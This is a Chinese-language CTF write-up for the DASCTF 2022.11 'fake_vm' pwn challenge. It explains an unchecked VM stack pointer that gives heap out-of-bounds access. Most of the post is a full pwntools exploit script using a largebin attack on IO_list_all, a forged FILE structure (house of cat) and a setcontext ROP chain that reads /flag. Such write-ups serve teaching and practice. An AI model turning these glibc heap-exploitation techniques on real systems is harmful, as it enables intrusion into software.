DASCTF_2022_11 Pwn fake_vm

DASCTF_2022_11 Pwn fake_vm

闲着没事做做以前的比赛题,居然捡了条大鱼

BUU上有题目链接:fake_vm

代码审计

vm pwn的题,逆向难度较低,自己去慢慢逆吧。

程序可以循环读入指令,每次读入的指令会通过calloc申请堆块保存,每个指令长度为0x28个字节,共有一个操作码和四个操作数,flag用来标记arg的类型为寄存器/立即数/地址,code结构如下:

图片.png

关键的功能是push,pop,mov,sub,add这几个操作。

push和pop的操作数为寄存器或立即数

mov对于内存的操作是对于宿主机内存的操作,看似很好用,但是这题没有泄露能力,因此比较鸡肋。这题不能把数据放进虚拟地址中,但是可以写进寄存器。

sub和add基本和x86的指令差不多

rsp为5号寄存器,所有对于寄存器的操作都不能直接去修改rsp,rsp仅仅会因为pop和push操作而发生改变

这里要注意,虚拟机的栈是在宿主机的堆段的,由calloc开辟。rsp在push和pop的作用下上下移动,这里不会检查rsp是否越界,配合pop和push我们可以控制rsp位置并进行在堆段的越界读写操作。这也是本题最大且唯一的漏洞

啊,对了,这个题的leave功能是废的,可以用来触发exit,另外程序提供了nop指令

libc版本为2.31,沙箱防护常规
图片.png

思路整理

heap段唯一能出现libc地址的办法就是构造unsorted bin和large bin中的chunk。这题我们不能像常规堆题一样去申请和释放,程序申请的堆块的size可以由我们代码长度控制,但是这个堆块free被后会直接融进top chunk。

我们可以重复pop让rsp不断下移实现越界,之后用push去修改我们代码段堆块的size域实现堆块收缩,利用nop指令中无用的后面四个操作数去伪造后一个堆块的size域。这样,当我们free时,代码块就不再与top chunk相邻了。这个堆块会留在unsorted bin中,我们可以再申请更大的堆块使其进入large bin,借此将heapbase和libcbase通过pop到RAX和RBX 中。

之后,我们故技重施,再申请一个更大的堆块,将其切割成一个比上一个用于泄露的堆块略小的堆块并由程序释放,这样就可以实现largebin attack,我们可以去修改IO_list_all指针指向新的堆块,并在其中伪造FILE结构。

这题开了沙箱且能由我们控制执行exit函数,因此可以打house of cat的方式进行攻击

house of cat的技巧在此不再赘述。

EXP

这是我写过的最长的脚本......

fake_IO_FILE这个变量是一个辅助变量,由于这道题没有泄露,对于libc地址的计算需要在程序内进行,而不是常规地在exp里计算后发送过去,而这题对于内存的控制由依赖于push指令,连续的push是从下到上进行的,因此exp要倒过来写。不先写一写正序的结构会晕的...

这个题应该可以继续无限虚拟机指令,只要你发送的指令序列长度大于我们进行largebin attack的堆块。因此你也可以通过push pop pop的方式从上往下写,反正这题寄存器有很多空余,够用。


from audioop import add
from decimal import setcontext
from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'

p=process(ELFpath)
e=ELF(ELFpath)
libc=ELF(libcpath)

ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))

NOP = 0
PUSH = 1
POP = 2
ADD = 3
SUB = 4
MUL = 5
DIV = 6
MOV = 7
JUDGE = 9
LEAVE = 12

REG = 0
ADDR = 1
IMM = 2

RAX = 0
RBX = 1
RCX = 2
RDX = 3
RBP = 4
RSP = 5

BYTE = 0
WORD = 1
DWORD = 2
QWORD = 3

#wrong here ,they are not base but offset
libcbase=0x1ecfd0
heapbase=0x32a0
IO_list_all=0x1ed5a0

pop_rdi_ret=0x23b6a
pop_rsi_ret=0x2601f
pop_rdx_ret=0x142c92

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-25s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    text_base, libc_base = get_base(p, 'your_character')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    
    b* open

    '''.format(text_base, libc_base)
    LOGTOOL['address']=0x4060+text_base
    LOGALL()
    
    #b* $rebase(0x153C)
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)

def nop(x=0):
    return p64(NOP)+p64(x)+p64(x)+p64(x)+p64(x)
def push_imm(imm):
    return p64(PUSH)+p64(IMM)+p64(imm)+p64(0)+p64(0)
def push_str(imm):
    return p64(PUSH)+p64(IMM)+imm+p64(0)+p64(0)
def push_reg(reg):
    return p64(PUSH)+p64(REG)+p64(reg)+p64(0)+p64(0)
def pop_reg(reg):
    return p64(POP)+p64(REG)+p64(reg)+p64(0)+p64(0)
def add_reg_imm(reg,imm):
    return p64(ADD)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def add_reg1_reg2(reg1,reg2):
    return p64(ADD)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def sub_reg_imm(reg,imm):
    return p64(SUB)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def sub_reg1_reg2(reg1,reg2):
    return p64(SUB)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def mul_reg_imm(reg,imm):
    return p64(MUL)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def mul_reg1_reg2(reg1,reg2):
    return p64(MUL)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def div_reg_imm(reg,imm):
    return p64(DIV)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)
def div_reg1_reg2(reg1,reg2):
    return p64(DIV)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)                    
def mov_addr_imm(addr,imm,len):
    return p64(MOV)+p64(ADDR)+p64(addr)[:-1]+p8(len)+p64(IMM)+p64(imm)       
def mov_addr_reg(addr,reg,len):
    return p64(MOV)+p64(ADDR)+p64(addr)[:-1]+p8(len)+p64(IMM)+p64(reg)   
def mov_reg_imm(reg,imm,len):
    return p64(MOV)+p64(REG)+p64(reg)+p64(IMM)+p64(imm)[:-1]+p8(len)   
def mov_reg_addr(reg,addr,len):
    return p64(MOV)+p64(REG)+p64(reg)+p64(ADDR)+p64(addr)[:-1]+p8(len) 
def mov_reg1_reg2(reg1,reg2):
    return p64(MOV)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2)
def judge(reg1,reg2):
    return p64(JUDGE)+p64(REG)+p64(reg1)+p64(REG)+p64(reg2) 
def leave():
    return p64(LEAVE)+p64(0)+p64(0)+p64(0)+p64(0) 

for i in range(4):
    ru('input one: ')
    s(p32(0x100))
    ru('input two: ')
    s(pop_reg(RAX)*0x100)

ru('input one: ')
s(p32(0x20))
ru('input two: ')
s(pop_reg(RAX)*2+0x1e*nop())

#create large bin chunk
pay1 =''
pay1+=push_imm(0x431)
for i in range(0x19):
    pay1+=nop(i)
pay1+=nop(0x101)
for i in range(0x20-0x1a):
    pay1+=nop(i)

ru('input one: ')
s(p32(len(pay1)//0x28))
ru('input two: ')
s(pay1)

#leak

pay2 =''
pay2+=pop_reg(RAX)  
pay2+=pop_reg(RAX)
pay2+=pop_reg(RAX)
pay2+=pop_reg(RBX)
pay2+=pop_reg(RBX)
pay2+=sub_reg_imm(RAX,libcbase)
pay2+=sub_reg_imm(RBX,heapbase)
pay2+=mov_reg1_reg2(RCX,RAX)
pay2+=add_reg_imm(RCX,IO_list_all-0x20)
pay2+=push_reg(RCX)
pay2+=push_imm(0)
pay2+=push_imm(0)
pay2+=push_imm(0)

for i in range(0x20-len(pay2)//0x28):
    pay2+=nop(i)

#libcbase :0x1ecfd0
#heapbase :0x32a0
#IO_list_all :0x1ed5a0

ru('input one: ')
s(p32(len(pay2)//0x28))
ru('input two: ')
s(pay2)

#attack
pay3 =''
pay3+=pop_reg(RDX)*0XA6

ru('input one: ')
s(p32(len(pay3)//0x28))
ru('input two: ')
s(pay3)


#create another large bin chunk
pay4 =''
pay4+=push_imm(0x421)
for i in range(0x19):
    pay4+=nop(i)
pay4+=nop(0x111)
for i in range(0x20-0x1a):
    pay4+=nop(i)

ru('input one: ')
s(p32(len(pay4)//0x28))
ru('input two: ')
s(pay4)


# FAKE_IO_ADDR=fake_heap_addr 
# next_chain = 0
# #_flags=rdi (fake_io head is chunk's pre_size)
FAKE_IO_ADDR=0x37d0
CALL_ADDR=0
HEAPBASE=0
LIBCBASE=0
RSP_ADDR=0x118 + 0x100
READ_ADDR=0
OPEN_ADDR=0
WRITE_ADDR=0
FLAG_ADDR=0x118 + 0x100 +0x70
FLAG_CONTENT_ADDR=0x118 + 0x100 +0x78
POP_RET=0

#0x10
fake_IO_FILE  = p64(0)*4
#0X30
#wide_data point to here
fake_IO_FILE += p64(0)+p64(0)
#0x40
fake_IO_FILE += p64(1)+p64(2)               #wide_data -> write_base < wide_data -> write_ptr  ; jbe rdx,[rax+0x18] 
fake_IO_FILE += p64(FAKE_IO_ADDR + 0x118)   #rdx
fake_IO_FILE += p64(CALL_ADDR)              #_IO_save_end=call addr(call setcontext/system)
#0x60
fake_IO_FILE  = fake_IO_FILE.ljust(0x68-0x10, '\x00')
#0x68
fake_IO_FILE += p64(0)  # _chain
#0x70
fake_IO_FILE  = fake_IO_FILE.ljust(0x88-0x10, '\x00')
#0x88
fake_IO_FILE += p64(HEAPBASE + 0x1000)      # _lock = a writable address
#0x90
fake_IO_FILE  = fake_IO_FILE.ljust(0xa0-0x10, '\x00')
#0xa0
fake_IO_FILE += p64(FAKE_IO_ADDR + 0x30)  #_wide_data, rax1_addr
#0xa8
fake_IO_FILE  = fake_IO_FILE.ljust(0xc0-0x10, '\x00')
#0xc0
fake_IO_FILE += p64(1)                  #mode > 0
#0xc8
fake_IO_FILE  = fake_IO_FILE.ljust(0xd8-0x10, '\x00')
#0xd8
fake_IO_FILE += p64(LIBCBASE + 0x1e8f60 + 0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
#0x110 = 0xE0 + 0x30
fake_IO_FILE += p64(FAKE_IO_ADDR+0x40)  #rax2_addr
#0x118

#base:0x118
#0x0    
set_context  =''
set_context  =set_context.ljust(0x68,'\x00')

#0X68
set_context +=p64(FLAG_ADDR)            #rdi    0x68
set_context +=p64(0)                    #rsi    0x70
#0X78

set_context  =set_context.ljust(0xa0,'\x00')
set_context +=p64(RSP_ADDR)             #rsp        0xa0
set_context +=p64(OPEN_ADDR)            #rcx_ret    0xa8
#0xb0

set_context  =set_context.ljust(0x100,'\x00')

#base:0x118 + 0x100 = 0x218
#0x0
rop  =''
rop +=p64(POP_RET)*6                    
rop +=p64(READ_ADDR)                    #flag offset = 0x218 + 0x78
rop +=p64(POP_RET)*6                    
rop +=p64(WRITE_ADDR)
#0x70
#'/flag'

#0x78
#flag

def push_libc(offset):
    return mov_reg_imm(RCX,offset,QWORD)+add_reg1_reg2(RCX,RAX)+push_reg(RCX)
def push_heap(offset):
    return mov_reg_imm(RCX,offset,QWORD)+add_reg1_reg2(RCX,RBX)+push_reg(RCX)


debug()
#ADD RSP BY POP
pay5=''
pay5=pop_reg(RCX)*0x51
ru('input one: ')
s(p32(len(pay5)//0x28))
pause()
ru('input two: ')
s(pay5)


#PUSH RSP
pay6  =push_str('/flag'.ljust(8,'\x00'))

pay6 +=push_libc(libc.symbols['write'])
pay6 +=push_imm(0x30)
pay6 +=push_libc(pop_rdx_ret)
pay6 +=push_heap(FAKE_IO_ADDR + FLAG_CONTENT_ADDR)
pay6 +=push_libc(pop_rsi_ret)
pay6 +=push_imm(0x1)
pay6 +=push_libc(pop_rdi_ret)

pay6 +=push_libc(libc.symbols['read'])
pay6 +=push_imm(0x30)
pay6 +=push_libc(pop_rdx_ret)
pay6 +=push_heap(FAKE_IO_ADDR + FLAG_CONTENT_ADDR)
pay6 +=push_libc(pop_rsi_ret)
pay6 +=push_imm(0x3)
pay6 +=push_libc(pop_rdi_ret)


pay6 +=push_imm(0)*(0x50/8)


pay6 +=push_libc(libc.symbols['open'])
pay6 +=push_heap(FAKE_IO_ADDR + RSP_ADDR)

pay6 +=push_imm(0)*(0x28/8)

pay6 +=push_imm(0)
pay6 +=push_heap(FAKE_IO_ADDR + FLAG_ADDR)

pay6 +=push_imm(0)*(0x68/8)

pay6 +=push_heap(FAKE_IO_ADDR + 0X40)
pay6 +=push_imm(0)*6
pay6 +=push_libc(0x1e8f60 + 0x30)

pay6 +=push_imm(0)*2
pay6 +=push_imm(1)
pay6 +=push_imm(0)*3
pay6 +=push_heap(FAKE_IO_ADDR + 0x30)

pay6 +=push_imm(0)*2
pay6 +=push_heap(0x1000)

pay6 +=push_imm(0)*5

pay6 +=push_libc(libc.symbols['setcontext']+61)
pay6 +=push_heap(FAKE_IO_ADDR + 0x118)
pay6 +=push_imm(2)
pay6 +=push_imm(1)

pay6 +=push_imm(0)*6
pay6 +=leave()

ru('input one: ')
s(p32(len(pay6)//0x28))
pause()
ru('input two: ')
s(pay6)


it()
posted @ 2023-05-10 15:07  Jmp·Cliff  阅读(55)  评论(0编辑  收藏  举报